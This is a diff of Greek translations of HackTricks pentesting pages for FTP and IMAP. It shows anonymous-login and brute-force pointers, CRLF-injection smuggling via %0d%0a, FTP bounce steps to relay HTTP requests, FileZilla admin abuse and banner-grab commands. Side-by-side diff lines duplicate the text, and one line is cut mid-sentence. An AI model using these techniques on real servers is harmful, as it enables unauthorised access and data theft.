>ascii #Set transmission to ascii instead of binary >ascii #Set transmission to ascii instead of binary
>bye #exit >bye #exit
``` ```
### [Βίαιη επίθεση](../../generic-methodologies-and-resources/brute-force.md#ftp) ### [Χυδαιός εκφορτισμός](../../generic-methodologies-and-resources/brute-force.md#ftp)
Εδώ μπορείτε να βρείτε μια ωραία λίστα με προεπιλεγμένα διαπιστευτήρια ftp: [https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt) Εδώ μπορείτε να βρείτε μια ωραία λίστα με προεπιλεγμένα διαπιστευτήρια ftp: [https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt)
### Αυτοματοποιημένο ### Αυτοματοποιημένο
Ο έλεγχος ανώνυμης σύνδεσης και αναπήδησης FTP πραγματοποιείται από προεπιλογή από το nmap με την επιλογή **-sC** ή: Ο έλεγχος ανώνυμης σύνδεσης και αναπήδησης FTP εκτελείται προεπιλεγμένα από το nmap με την επιλογή **-sC** ή:
```bash ```bash
nmap --script ftp-* -p 21 <ip> nmap --script ftp-* -p 21 <ip>
``` ```
## Σύνδεση μέσω προγράμματος περιήγησης ## Σύνδεση μέσω προγράμματος περιήγησης
Μπορείτε να συνδεθείτε σε έναν FTP διακομιστή χρησιμοποιώντας ένα πρόγραμμα περιήγησης (όπως το Firefox) χρησιμοποιώντας ένα URL όπως: Μπορείτε να συνδεθείτε σε έναν διακομιστή FTP χρησιμοποιώντας έναν περιηγητή (όπως το Firefox) χρησιμοποιώντας ένα URL όπως:
```bash ```bash
ftp://anonymous:anonymous@10.10.10.98 ftp://anonymous:anonymous@10.10.10.98
``` ```
Σημείωση ότι αν μια **ιστοσελίδα** στέλνει δεδομένα που ελέγχονται από έναν χρήστη **απευθείας σε έναν FTP διακομιστή** μπορείτε να στείλετε διπλό URL κωδικοποίηση `%0d%0a` (σε διπλή URL κωδικοποίηση αυτό είναι `%250d%250a`) bytes και να κάνετε τον **FTP διακομιστή να εκτελέσει αυθαίρετες ενέργειες**. Μία από αυτές τις πιθανές αυθαίρετες ενέργειες είναι η λήψη περιεχομένου από έναν διακομιστή που ελέγχεται από τον χρήστη, η πραγματοποίηση σάρωσης θυρών ή η προσπάθεια επικοινωνίας με άλλες υπηρεσίες βασισμένες σε απλό κείμενο (όπως το http). Σημειώστε ότι εάν μια **εφαρμογή web** στέλνει δεδομένα που ελέγχει ο χρήστης **απευθείας σε έναν διακομιστή FTP** μπορείτε να στείλετε διπλό κωδικοποιημένο URL `%0d%0a` (σε διπλή κωδικοποίηση URL αυτό είναι `%250d%250a`) bytes και να κάνετε τον **FTP server να εκτελέσει αυθαίρετες ενέργειες**. Μία από αυτές τις πιθανές αυθαίρετες ενέργειες είναι η λήψη περιεχομένου από έναν διακομιστή που ελέγχει ο χρήστης, η πραγματοποίηση σάρωσης θυρών ή η προσπάθεια επικοινωνίας με άλλες υπηρεσίες βασισμένες σε κείμενο απλού κειμένου (όπως το http).
## Λήψη όλων των αρχείων από το FTP ## Λήψη όλων των αρχείων από το FTP
```bash ```bash
wget -m ftp://anonymous:anonymous@10.10.10.98 #Donwload all wget -m ftp://anonymous:anonymous@10.10.10.98 #Donwload all
wget -m --no-passive ftp://anonymous:anonymous@10.10.10.98 #Download all wget -m --no-passive ftp://anonymous:anonymous@10.10.10.98 #Download all
``` ```
Εάν ο χρήστης/κωδικός πρόσβασής σας περιέχει ειδικούς χαρακτήρες, μπορείτε να χρησιμοποιήσετε την [ακόλουθη εντολή](https://stackoverflow.com/a/113900/13647948): Αν ο χρήστης/κωδικός πρόσβασής σας περιέχει ειδικούς χαρακτήρες, μπορεί να χρησιμοποιηθεί η [ακόλουθη εντολή](https://stackoverflow.com/a/113900/13647948):
```bash ```bash
wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/ wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/
``` ```
## Ορισμένες εντολές FTP ## Μερικές εντολές FTP
* **`USER όνομαρήστη`** * **`USER username`**
* **`PASS κωδικός_πρόσβασης`** * **`PASS password`**
* **`HELP`** Ο διακομιστής υποδεικνύει ποιες εντολές υποστηρίζονται * **`HELP`** Ο διακομιστής υποδεικνύει ποιες εντολές υποστηρίζονται
* **`PORT 127,0,0,1,0,80`** Αυτό θα υποδείξει στον FTP διακομιστή να εγκαθιδρύσει μια σύνδεση με την IP 127.0.0.1 στη θύρα 80 (_πρέπει να βάλετε τον 5ο χαρακτήρα ως "0" και τον 6ο ως τη θύρα σε δεκαδική μορφή ή να χρησιμοποιήσετε τον 5ο και 6ο για να εκφράσετε τη θύρα σε δεκαεξαδική μορφή_). * \*\*`PORT 127,0,0,1,0,80`\*\*Αυτό θα υποδείξει στον FTP διακομιστή να εγκαθιδρύσει μια σύνδεση με τη διεύθυνση IP 127.0.0.1 στη θύρα 80 (_πρέπει να βάλετε τον 5ο χαρακτήρα ως "0" και τον 6ο ως τη θύρα σε δεκαδική μορφή ή να χρησιμοποιήσετε τον 5ο και 6ο για να εκφράσετε τη θύρα σε δεκαεξαδική μορφή_).
* **`EPRT |2|127.0.0.1|80|`** Αυτό θα υποδείξει στον FTP διακομιστή να εγκαθιδρύσει μια σύνδεση TCP (_υποδεικνύεται από το "2"_) με την IP 127.0.0.1 στη θύρα 80. Αυτή η εντολή **υποστηρίζει IPv6**. * \*\*`EPRT |2|127.0.0.1|80|`\*\*Αυτό θα υποδείξει στον FTP διακομιστή να εγκαθιδρύσει μια σύνδεση TCP (_υποδεικνύεται από το "2"_) με τη διεύθυνση IP 127.0.0.1 στη θύρα 80. Αυτή η εντολή **υποστηρίζει IPv6**.
* **`LIST`** Αυτό θα στείλει τη λίστα των αρχείων στον τρέχοντα φάκελο * **`LIST`** Αυτό θα στείλει τη λίστα των αρχείων στον τρέχοντα φάκελο
* **`LIST -R`** Λίστα αναδρομικά (εάν επιτρέπεται από τον διακομιστή) * **`LIST -R`** Λίστα αναδρομικά (εάν επιτρέπεται από τον διακομιστή)
* **`APPE /path/something.txt`** Αυτό θα υποδείξει στον FTP να αποθηκεύσει τα δεδομένα που λαμβάνονται από μια **παθητική** σύνδεση ή από μια σύνδεση **PORT/EPRT** σε ένα αρχείο. Εάν το όνομα αρχείου υπάρχει, θα προσαρτήσει τα δεδομένα. * **`APPE /path/something.txt`** Αυτό θα υποδείξει στο FTP να αποθηκεύσει τα δεδομένα που λαμβάνει από μια **παθητική** σύνδεση ή από μια σύνδεση **PORT/EPRT** σε ένα αρχείο. Εάν το όνομα αρχείου υπάρχει, θα προσθέσει τα δεδομένα.
* **`STOR /path/something.txt`** Όπως το `APPE` αλλά θα αντικαταστήσει τα αρχεία * **`STOR /path/something.txt`** Όπως το `APPE` αλλά θα αντικαταστήσει τα αρχεία
* **`STOU /path/something.txt`** Όπως το `APPE`, αλλά εάν υπάρχει δεν θα κάνει τίποτα. * **`STOU /path/something.txt`** Όπως το `APPE`, αλλά αν υπάρχει δεν θα κάνει τίποτα.
* **`RETR /path/to/file`** Πρέπει να εγκαθιδρυθεί μια παθητική ή μια σύνδεση PORT. Στη συνέχεια, ο FTP διακομιστής θα στείλει το αναφερόμενο αρχείο μέσω αυτής της σύνδεσης * **`RETR /path/to/file`** Πρέπει να εγκαθιδρύσετε μια παθητική ή μια σύνδεση PORT. Στη συνέχεια, ο FTP διακομιστής θα στείλει το αναφερόμενο αρχείο μέσω αυτής της σύνδεσης
* **`REST 6`** Αυτό θα υποδείξει στον διακομιστή ότι την επόμενη φορά που θα στείλει κάτι χρησιμοποιώντας το `RETR`, θα πρέπει να ξεκινήσει από τον 6ο χαρακτήρα. * **`REST 6`** Αυτό θα υποδείξει στο διακομιστή ότι την επόμενη φορά που θα στείλει κάτι χρησιμοποιώντας το `RETR` θα πρέπει να ξεκινήσει από τον 6ο χαρακτήρα.
* **`TYPE i`** Ορίζει τη μεταφορά σε δυαδική μορφή * **`TYPE i`** Ορίζει τη μεταφορά σε δυαδική μορφή
* **`PASV`** Αυτό θα ανοίξει μια παθητική σύνδεση και θα υποδείξει στον χρήστη πού μπορεί να συνδεθεί * **`PASV`** Αυτό θα ανοίξει μια παθητική σύνδεση και θα υποδείξει στον χρήστη πού μπορεί να συνδεθεί
* **`PUT /tmp/file.txt`** Μεταφόρτωση του αναφερόμενου αρχείου στο FTP * **`PUT /tmp/file.txt`** Ανεβάζει το αναφερόμενο αρχείο στο FTP
![](<../../.gitbook/assets/image (227).png>) ![](<../../.gitbook/assets/image (227).png>)
## Επίθεση FTPBounce ## Επίθεση FTPBounce
Ορισμένοι FTP διακομιστές επιτρέπουν την εντολή PORT. Αυτή η εντολή μπορεί να χρησιμοποιηθεί για να υποδείξει στον διακομιστή ότι θέλετε να συνδεθείτε σε άλλο FTP διακομιστή σε μια συγκεκριμένη θύρα. Έτσι, μπορείτε να χρησιμοποιήσετε αυτό για να σαρώσετε ποιες θύρες ενός κεντρικού υπολογιστή είναι ανοιχτές μέσω ενός FTP διακομιστή. Ορισμένοι FTP διακομιστές επιτρέπουν την εντολή PORT. Αυτή η εντολή μπορεί να χρησιμοποιηθεί για να υποδείξετε στον διακομιστή ότι θέλετε να συνδεθείτε σε άλλο FTP διακομιστή σε κάποια θύρα. Έπειτα, μπορείτε να χρησιμοποιήσετε αυτό για να σαρώσετε ποιες θύρες ενός υπολογιστή είναι ανοιχτές μέσω ενός FTP διακομιστή.
[**Μάθετε εδώ πώς να καταχραστείτε έναν FTP διακομιστή για να σαρώσετε θύρες.**](ftp-bounce-attack.md) [**Μάθετε εδώ πώς να καταχραστείτε έναν FTP διακομιστή για να σαρώσετε θύρες.**](ftp-bounce-attack.md)
Μπορείτε επίσης να καταχραστείτε αυτήν τη συμπεριφορά για να κάνετε έναν FTP διακομιστή να αλληλεπιδράσει με άλλα πρωτόκολλα. Μπορείτε να **ανεβάσετε ένα αρχείο που περιέχει ένα αίτημα HTTP** και να κάνετε το ευάλωτο FTP διακομιστή να το **στείλει σε έναν αυθαίρετο HTTP διακομιστή** (_ίσως για να προσθέσετε ένα νέο διαχειριστή χρήστη?_) ή ακόμα και να ανεβάσετε ένα αίτημα FTP και να κάνετε το ευάλωτο FTP διακομιστή να κατεβάσει ένα αρχείο για έναν διαφορετικό FTP διακομιστή.\ Μπορείτε επίσης να καταχραστείτε αυτή τη συμπεριφορά για να κάνετε έναν FTP διακομιστή να αλληλεπιδρά με άλλα πρωτόκολλα. Μπορείτε **να ανεβάσετε ένα αρχείο που περιέχει ένα αίτημα HTTP** και να κάνετε το ευάλωτο FTP διακομιστή **να το στείλει σε έναν αυθαίρετο HTTP διακομιστή** (_ίσως για να προσθέσετε ένα νέο διαχειριστή χρήστη?_) ή ακόμη και να ανεβάσετε ένα αίτημα FTP και να κάνετε τον ευάλωτο FTP διακομιστή να κατεβάσει ένα αρχείο για έναν διαφορετικό FTP διακομιστή.\
Η θεωρία είναι απλή: Η θεωρία είναι απλή:
1. **Ανεβάστε το αίτημα (μέσα σε ένα αρχείο κειμένου) στον ευάλωτο διακομιστή.** Θυμηθείτε ότι εάν θέλετε να μιλήσετε με έναν άλλο HTTP ή FTP διακομιστή, πρέπει να αλλάξετε τις γραμμές με `0x0d 0x0a` 1. **Ανεβάστε το αίτημα (μέσα σε ένα αρχείο κειμένου) στον ευάλωτο διακομιστή.** Θυμηθείτε ότι εάν θέλετε να μιλήσετε με έναν άλλο HTTP ή FTP διακομιστή πρέπει να αλλάξετε γραμμές με `0x0d 0x0a`
2. **Χρησιμοποιήστε το `REST X` για να αποφύγετε την αποστολή των χαρακτήρων που δεν θέλετε να στείλετε** (ίσως για να ανεβάσετε το αίτημα μέσα στο αρχείο χρειαζόσασταν κάποια κεφαλίδα εικόνας στην αρχή) 2. **Χρησιμοποιήστε το `REST X` για να αποφύγετε την αποστολή των χαρακτήρων που δεν θέλετε να στείλετε** (ίσως για να ανεβάσετε το αίτημα μέσα στο αρχείο χρειαζόταν να βάλετε κάποια κεφαλίδα εικόνας στην αρχή)
3. **Χρησιμοποιήστε το `PORT` για να συνδεθείτε στον αυθαίρετο διακομιστή και υπηρεσία** 3. **Χρησιμοποιήστε το `PORT` για να συνδεθείτε στον αυθαίρετο διακομιστή και υπηρεσία**
4. **Χρησιμοποιήστε το `RETR` για να στείλετε το αποθηκευμένο αίτημα στον διακομιστή.** 4. **Χρησιμοποιήστε το `RETR` για να στείλετε το αποθηκευμένο αίτημα στον διακομιστή.**
Είναι πολύ πιθανό αυτό **να προκαλέσει ένα σφάλμα όπως** _**Socket not writable**_ **επειδή η σύνδεση δεν διαρκεί αρκετά για να στείλει τα δεδομένα με το `RETR`**. Προτάσεις για να προσπαθήσετε να αποφύγετε αυτό είναι: Είναι πολύ πιθανό αυτό **να εμφανίσει ένα σφάλμα όπως** _**Μη εγγράψιμος socket**_ **επειδή η σύνδεση δεν διαρκεί αρκετά για να στείλει τα δεδομένα με το `RETR`**. Προτάσεις για να προσπαθήσετε να αποφύγετε αυτό είναι:
* Εάν στέλνετε ένα αίτημα HTTP, **τοποθετήστε το ίδιο αίτημα έ * Εάν στέλνετε ένα αίτημα HTTP, **βάλτε το ίδιο αίτημα ένα μετά το άλλο** μέχρι ταλλά τουλάχιστον **\~0.5MB**. Όπως εδώ:
{% file src="../../.gitbook/assets/posts (1).txt" %}
posts.txt
{% endfile %}
* Δοκιμάστε να **γεμίσετε το αίτημα με "άχρηστα" δεδομένα σχετικά με το πρωτόκολλο** (μιλώντας με FTP ίσως απλά άχρηστες εντολές ή επανάληψη της εντολής `RETR` για να πάρετε το αρχείο)
* Απλά **γεμίστε το αίτημα με πολλούς μηδενικούς χαρακτήρες ή άλλους** (διαιρεμένους σε γραμμές ή όχι)
Πάντως, εδώ έχετε ένα [παλιό παράδειγμα για το πώς να καταχραστείτε αυτό για να κάνετε έναν FTP διακομιστή να κατεβάσει ένα αρχείο από έναν διαφορετικό FTP διακομιστή.](ftp-bounce-download-2oftp-file.md)
## Ευπάθεια του Filezilla Server
Το **FileZilla** συνήθως **δένεται** σε ένα **τοπικό** υπηρεσία **Διαχείρισης** για το **FileZilla-Server** (θύρα 14147). Εάν μπορείτε να δημιουργήσετε ένα **τούνελ** από **τον υπολογιστή σας** για να έχετε πρόσβαση σε αυτήν τη θύρα, μπορείτε να **συνδεθείτε** σε αυτήν χρησιμοποιώντας ένα **κενό κωδικό πρόσβασης** και να **δημιουργήσετε** έναν **νέο χρήστη** για την υπηρεσία FTP.
## Αρχεία ρυθμίσεων
``` ```
ftpusers ftpusers
ftp.conf ftp.conf
proftpd.conf proftpd.conf
vsftpd.conf vsftpd.conf
``` ```
### Μετά την Εκμετάλλευση ### Post-Exploitation
Η προεπιλεγμένη διαμόρφωση του vsFTPd μπορεί να βρεθεί στο `/etc/vsftpd.conf`. Εδώ μπορείτε να βρείτε ορισμένες επικίνδυνες ρυθμίσεις: Η προεπιλεγμένη διαμόρφωση του vsFTPd μπορεί να βρεθεί στο `/etc/vsftpd.conf`. Εδώ, μπορείτε να βρείτε μερικές επικίνδυνες ρυθμίσεις:
* `anonymous_enable=YES` * `anonymous_enable=YES`
* `anon_upload_enable=YES` * `anon_upload_enable=YES`
* `anon_mkdir_write_enable=YES` * `anon_mkdir_write_enable=YES`
* `anon_root=/home/username/ftp` - Κατάλογος για ανώνυμους χρήστες. * `anon_root=/home/username/ftp` - Κατάλογος για ανώνυμους.
* `chown_uploads=YES` - Αλλαγή κυριότητας των αρχείων που ανεβάζονται ανώνυμα * `chown_uploads=YES` - Αλλαγή κυριότητας αρχείων που ανεβάζονται ανώνυμα
* `chown_username=username` - Χρήστης που αποκτά την κυριότητα των αρχείων που ανεβάζονται ανώνυμα * `chown_username=username` - Χρήστης που δίνεται κυριότητα ανεβασμένων αρχείων ανώνυμα
* `local_enable=YES` - Ενεργοποίηση των τοπικών χρηστών για σύνδεση * `local_enable=YES` - Ενεργοποίηση τοπικών χρηστών για σύνδεση
* `no_anon_password=YES` - Να μην ζητείται κωδικός από τους ανώνυμους χρήστες * `no_anon_password=YES` - Να μην ζητηθεί κωδικός από ανώνυμο
* `write_enable=YES` - Επιτρέπει τις εντολές: STOR, DELE, RNFR, RNTO, MKD, RMD, APPE και SITE * `write_enable=YES` - Επιτρέπει τις εντολές: STOR, DELE, RNFR, RNTO, MKD, RMD, APPE, και SITE
### Shodan ### Shodan
* `ftp` * `ftp`
* `port:21` * `port:21`
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Βρείτε ευπάθειες που είναι πιο σημαντικές, ώστε να μπορείτε να τις διορθώσετε πιο γρήγορα. Το Intruder παρακολουθεί την επιθετική επιφάνεια σας, εκτελεί προληπτικές απειλητικές αναζητήσεις, εντοπίζει προβλήματα σε ολόκληρο το τεχνολογικό σας στοίβα, από διεπαφές προς διαδικτυακές εφαρμογές και συστήματα cloud. [**Δοκιμάστε το δωρεάν**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) σήμερα.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
*** ***
## Αυτόματες Εντολές HackTricks ## HackTricks Αυτόματες Εντολές
``` ```
Protocol_Name: FTP #Protocol Abbreviation if there is one. Protocol_Name: FTP #Protocol Abbreviation if there is one.
Port_Number: 21 #Comma separated if there is more than one. Port_Number: 21 #Comma separated if there is more than one.
@ -278,12 +269,12 @@ Command: msfconsole -q -x 'use auxiliary/scanner/ftp/anonymous; set RHOSTS {IP};
``` ```
<details> <details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks**; Ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF**; Ελέγξτε τα [**ΠΑΚΕΤΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)! * Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε τη **εταιρεία σας διαφημισμένη στο HackTricks**; ή θέλετε να έχετε πρόσβαση στη **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε PDF**; Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family) * Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com) * Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Συμμετάσχετε στη** [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Εγγραφείτε στην** [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στο [αποθετήριο hacktricks](https://github.com/carlospolop/hacktricks) και [αποθετήριο hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**. * **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στο** [**αποθετήριο hacktricks**](https://github.com/carlospolop/hacktricks) **και** [**αποθετήριο hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>

View file

@ -1,53 +1,39 @@
# 143,993 - Πεντεστική IMAP # 143,993 - Ελεγχος Ασφάλειας IMAP
<details> <details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team AWS του HackTricks)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks: Άλλοι τρόποι υποστήριξης του HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)! * Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com) * Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family) * Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github. * **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
</details> </details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure> ## Πρωτόκολλο Πρόσβασης σε Μηνύματα Διαδικτύου
Βρείτε ευπάθειες που έχουν μεγαλύτερη σημασία, ώστε να μπορείτε να τις διορθώσετε πιο γρήγορα. Το Intruder παρακολουθεί την επιθετική επιφάνεια σας, εκτελεί προληπτικές απειλητικές αναζητήσεις, εντοπίζει προβλήματα σε ολόκληρο το τεχνολογικό σας στοίβα, από APIs έως web εφαρμογές και συστήματα στο cloud. [**Δοκιμάστε το δωρεάν**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) σήμερα. Το **Πρωτόκολλο Πρόσβασης σε Μηνύματα Διαδικτύου (IMAP)** σχεδιάστηκε με σκοπό τη δυνατότητα **πρόσβασης των χρηστών στα email τους από οπουδήποτε**, κυρίως μέσω σύνδεσης στο Internet. Κατά βάση, τα email **διατηρούνται σε έναν διακομιστή** αντί να ληφθούν και αποθηκευτούν σε προσωπική συσκευή. Αυτό σημαίνει ότι όταν ένα email ανοίγεται ή διαβάζεται, γίνεται **απευθείας από τον διακομιστή**. Αυτή η δυνατότητα επιτρέπει την ευκολία ελέγχου των email από **πολλές συσκευές**, εξασφαλίζοντας ότι κανένα μήνυμα δεν θα χαθεί ανεξάρτητα από τη συσκευή που χρησιμοποιείται.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
## Πρωτόκολλο πρόσβασης σε μηνύματα Διαδικτύου
Το **πρωτόκολλο πρόσβασης σε μηνύματα Διαδικτύου (IMAP)** έχει σχεδιαστεί με σκοπό να επιτρέπει στους χρήστες να **έχουν πρόσβαση στα email τους από οποιαδήποτε τοποθεσία**, κυρίως μέσω μιας σύνδεσης στο Διαδίκτυο. Στην ουσία, τα email **διατηρούνται σε έναν διακομιστή** αντί να λαμβάνονται και να αποθηκεύονται σε μια προσωπική συσκευή. Αυτό σημαίνει ότι όταν ένα email ανοίγεται ή διαβάζεται, γίνεται **απευθείας από τον διακομιστή**. Αυτή η δυνατότητα επιτρέπει την ευκολία του να ελέγχετε τα email σας από **πολλές συσκευές**, εξασφαλίζοντας ότι δεν θα χαθούν μηνύματα ανεξάρτητα από τη συσκευή που χρησιμοποιείται.
Από προεπιλογή, το πρωτόκολλο IMAP λειτουργεί σε δύο θύρες: Από προεπιλογή, το πρωτόκολλο IMAP λειτουργεί σε δύο θύρες:
* **Θύρα 143** - αυτή είναι η προεπιλεγμένη μη κρυπτογραφημένη θύρα IMAP * **Θύρα 143** - αυτή είναι η προεπιλεγμένη μη κρυπτογραφημένη θύρα IMAP
* **Θύρα 993** - αυτή είναι η θύρα που πρέπει να χρησιμοποιήσετε εάν θέλετε να συνδεθείτε με ασφάλεια χρησιμοποιώντας το πρωτόκολλο IMAP * **Θύρα 993** - αυτή είναι η θύρα που πρέπει να χρησιμοποιήσετε αν θέλετε να συνδεθείτε χρησιμοποιώντας το IMAP με ασφάλεια
``` ```
PORT STATE SERVICE REASON PORT STATE SERVICE REASON
143/tcp open imap syn-ack 143/tcp open imap syn-ack
``` ```
## Ανάκτηση σήματος ## Ανάκτηση μπάνερ
Η ανάκτηση σήματος (banner grabbing) είναι μια τεχνική που χρησιμοποιείται στον τομέα της ασφάλειας δικτύου για να ανακτηθούν πληροφορίες σχετικά με έναν διακομιστή IMAP. Αυτή η τεχνική επιτρέπει στον επιτιθέμενο να αναγνωρίσει την έκδοση του διακομιστή, το λειτουργικό σύστημα που χρησιμοποιείται και άλλες πληροφορίες που μπορεί να είναι χρήσιμες για την εκμετάλλευση του συστήματος.
Για να πραγματοποιηθεί η ανάκτηση σήματος, ο επιτιθέμενος στέλνει ένα αίτημα σύνδεσης στον διακομιστή IMAP και λαμβάνει μια απάντηση που περιέχει το σήμα του διακομιστή. Αυτό το σήμα περιέχει πληροφορίες όπως η έκδοση του διακομιστή και άλλες λεπτομέρειες που μπορούν να χρησιμοποιηθούν για την εκμετάλλευση του συστήματος.
Η ανάκτηση σήματος μπορεί να γίνει με τη χρήση εργαλείων όπως το Telnet ή το Netcat. Ο επιτιθέμενος μπορεί να αναλύσει το σήμα που λαμβάνει για να ανακτήσει πληροφορίες για τον διακομιστή IMAP και να προχωρήσει σε επόμενα βήματα εκμετάλλευσης.
```bash ```bash
nc -nv <IP> 143 nc -nv <IP> 143
openssl s_client -connect <IP>:993 -quiet openssl s_client -connect <IP>:993 -quiet
``` ```
### NTLM Auth - Αποκάλυψη πληροφοριών ### NTLM Εξουσιοδότηση - Αποκάλυψη πληροφοριών
Εάν ο διακομιστής υποστηρίζει NTLM auth (Windows), μπορείτε να αποκτήσετε ευαίσθητες πληροφορίες (εκδόσεις): Εάν ο διακομιστής υποστηρίζει NTLM εξουσιοδότηση (Windows), μπορείτε να αποκτήσετε ευαίσθητες πληροφορίες (εκδόσεις):
``` ```
root@kali: telnet example.com 143 root@kali: telnet example.com 143
* OK The Microsoft Exchange IMAP4 service is ready. * OK The Microsoft Exchange IMAP4 service is ready.
@ -56,14 +42,13 @@ root@kali: telnet example.com 143
>> TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA= >> TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=
+ TlRMTVNTUAACAAAACgAKADgAAAAFgooCBqqVKFrKPCMAAAAAAAAAAEgASABCAAAABgOAJQAAAA9JAEkAUwAwADEAAgAKAEkASQBTADAAMQABAAoASQBJAFMAMAAxAAQACgBJAEkAUwAwADEAAwAKAEkASQBTADAAMQAHAAgAHwMI0VPy1QEAAAAA + TlRMTVNTUAACAAAACgAKADgAAAAFgooCBqqVKFrKPCMAAAAAAAAAAEgASABCAAAABgOAJQAAAA9JAEkAUwAwADEAAgAKAEkASQBTADAAMQABAAoASQBJAFMAMAAxAAQACgBJAEkAUwAwADEAAwAKAEkASQBTADAAMQAHAAgAHwMI0VPy1QEAAAAA
``` ```
Ή **αυτοματοποίηση** αυτού με το πρόσθετο **nmap** `imap-ntlm-info.nse` Ή **αυτοματοποιήστε** αυτό με το πρόσθετο **nmap** `imap-ntlm-info.nse`
### [Βίαιη δοκιμή IMAP](../generic-methodologies-and-resources/brute-force.md#imap) ### [Βίαιη Δύναμη IMAP](../generic-methodologies-and-resources/brute-force.md#imap)
